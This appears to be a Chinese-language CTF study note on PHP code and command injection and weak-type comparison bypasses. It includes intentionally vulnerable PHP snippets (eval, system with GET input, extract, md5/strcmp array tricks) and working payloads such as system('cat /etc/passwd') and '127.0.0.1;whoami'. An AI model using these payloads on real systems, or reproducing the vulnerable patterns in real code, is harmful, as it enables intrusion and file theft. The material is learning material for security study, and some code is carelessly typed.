PHP 弱类型 && CODE/COMMADN injection

CODE/COMMAND INJECTION

CODE INJECTION

https://www.freebuf.com/sectool/168653.html

EXAMPLE1

<?php

$str = “echo \”hello “. $GET_[‘name’].”!!!\”;”;      .是连接  双引号注意就近。  

Eval($str);          \”双引号转义 因为echo  内容需要是字符串

?>

注意单引号双引号区别

%22.system(%27ls%27);//   输入，替换了$GET_[‘name’]

%22 :   “

%27: ‘

<?php

$str = “echo \”hello “. %22.system(%27ls%27);//.”!!!\”;”;    

Eval($str);

?>

‘.cat /etc/passwd’

%22.system(‘cat  /etc/passwd’);//   失败

%22.system(%27cat  /etc/passwd%27);//     成功

COMMAND INJECTION

Example 1

<?php

System(‘ping –c $_GET[‘ip’]’ );

?>

127.0.0.1;whoami

PHP 弱类型

= ==

strcmp()

<?php
    if (isset($_GET['value'])) {
    if (strcmp($_GET['value'], $flag) == 0)
        die('Flag is: '.$flag);
    else print 'Flag is not here !';
}
?>

Strcmp= s1-s2

参数是两个数组，输入数组则错误，判断相等

Urlcode 二次编码绕过

/i 不区分大小写

浏览器对用户输入数据自动解码（比如输入 %27）

<?php
    if(preg_match("/hackerDJ/i",$_GET[id])) {
 echo(" not allowed ! ");
 exit();
 }
 $_GET[id] = urldecode($_GET[id]);  //解码
 if($_GET[id] == "hackerDJ") {
  die('Flag is: '.$flag);
 }
?>

对D ,为 %44，再次urlencode，得到 %2544

整数类型大小比较

数组在比较中恒大与具体值

其他类型和整形比较会先 intval()

<?php
$temp = $_GET['id'];
is_numeric($temp) ? die("retry !") : NULL;
if($temp>6607){
    die('Flag is: '.$flag);
} else print 'Flag is not here !';
?> Flag is not here !

Extract 变量覆盖

Extract(array,extract_rules,prefix)

<?php
    $flags='test.txt';
    extract($_GET);
    if(isset($id)) {
        $content=trim(file_get_contents($flags));
    if($id==$content) {
        die('Flag is: '.$flag);
    } else {
    print 'Flag is not here !';
    } }
    ?>

如果输入id=$content

使用extract接收输入，存在变量覆盖，覆盖flags

接收输入后，flags=1，此时

file_get_contents($flags)

取不到文件，故content为空

同时输入id是空。   &是连接符，重新复制flags

输出flag

Intval()

小数取整echo intval(9.999); // 9。最大值取决于操作系统

<?php
    $key = $_GET['key'];
    if(intval($key) > 1||intval($key) < 0){
        die("key is not right");
    }
    elseif (intval($key) < 1) {
        if ($key ==1) {
            die('Flag is: '.$flag);
        }else print 'key is not right !!!';
    } ?> key is not right !!!

Php中弱比较，1==0.999999999999999999999999

比如 echo 1==0.999999999999999999999999  输出1

正则截断

Erge

Php版本小于5.3

遇到%00 默认字符串结束

Preg_match()

Php>=5.3

遇到%00 默认字符串结束

<?php
    if(isset($_GET['password'])){
if(preg_match("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE){
    print('You password not right'); 

} elseif(strlen($_GET['password']) < 8 && $_GET['password'] > 9999999){
    if(strpos($_GET['password'], '*_*') !== FALSE){
     die('Flag is:'.$flag);
} else{
    print('*_* have not been found');
    }
} else{
    print('Invalid password');
    }
}
?>

1e8 >9999999 字符串长度小于8

Eval() 注入

把字符串当做PHP代码执行。只能执行不能回显。

<?php
    if (isset($_GET['id'])) {
    $id = $_GET['id'];
    eval("var_dump($id);");
}
?>

闭合括号，注释掉后面

Md5()弱比较

PHP中 md5对数组加密返回NULL

对所有0e开头（16进制）字符串认为相等

<?php
if (isset($_GET['p1']) && isset($_GET['p2'])) {
    if ($_GET['p1'] != $_GET['p2'] && md5($_GET['p1']) == md5($_GET['p2']))
        die('Flag is: '.$flag);
    else print 'Flag is not here !';
}
?>

输入数组用  ?p1[]，多个用 &

Md5()强比较

== 只对值比较，两边先转化为同种类型，若一方为数字另一方为空或null或数组，现将字符串转化为0

=== 比较类型和值

<?php
if (isset($_GET['p1']) && isset($_GET['p2'])) {
    if ($_GET['p1'] != $_GET['p2'] && md5($_GET['p1']) === md5($_GET['p2']))
        die('Flag is: '.$flag);
    else print 'Flag is not here !';
}
?>

Sha()弱比较

对数组加密返回NULL

<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
    if ($_GET['name'] == $_GET['password'])
        echo ' Your password can not be your name! ';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
        die('Flag: '.$flag); else echo ' Invalid password ';
}
else echo 'Flag is not here !';
?> Flag is not here !

Strpos

查找字符串在字符串第一次出现的位置。Strpos（string，find，start）。在string中查找find

<?php
if (isset($_GET['id'])) {
    $one = ord('0');
    $nine = ord('9');
    for($i = 0; $i < strlen($_GET['id']); $i++) {
        $digit = ord($_GET['id']{$i});
        if(($digit < $one) || ($digit > $nine) ) {
            print("必须输入数字才行");
            return FALSE;
            }
        }
    if (strpos($_GET['id'], 'sss607') !== FALSE)
        die('Flag: '.$flag);
    else echo 'flag is not here ~';
}
?>

先判断只有数字

Strpos对数组查找返回NULL，NULL!==flase

Session 验证绕过

Session_start() 用来初始化session或从session仓库加载已经存在的session变量

<?php
@session_start();
print($_SESSION["password"]);
    if ($_GET['password'] == $_SESSION['password'])
        die ('Flag: '.$flag);
    else
        print 'password is not right !';
$_SESSION['password']=rand(10000000,99999999);
?>

系统会判断用户输入的password的值是否与当前session中password值相同。初始时session为空，故输入password为空即可

若直接访问过http://10.201.132.248:8090/13.session/session.php 则session已经存在，不为空。清空缓存或者换浏览器即可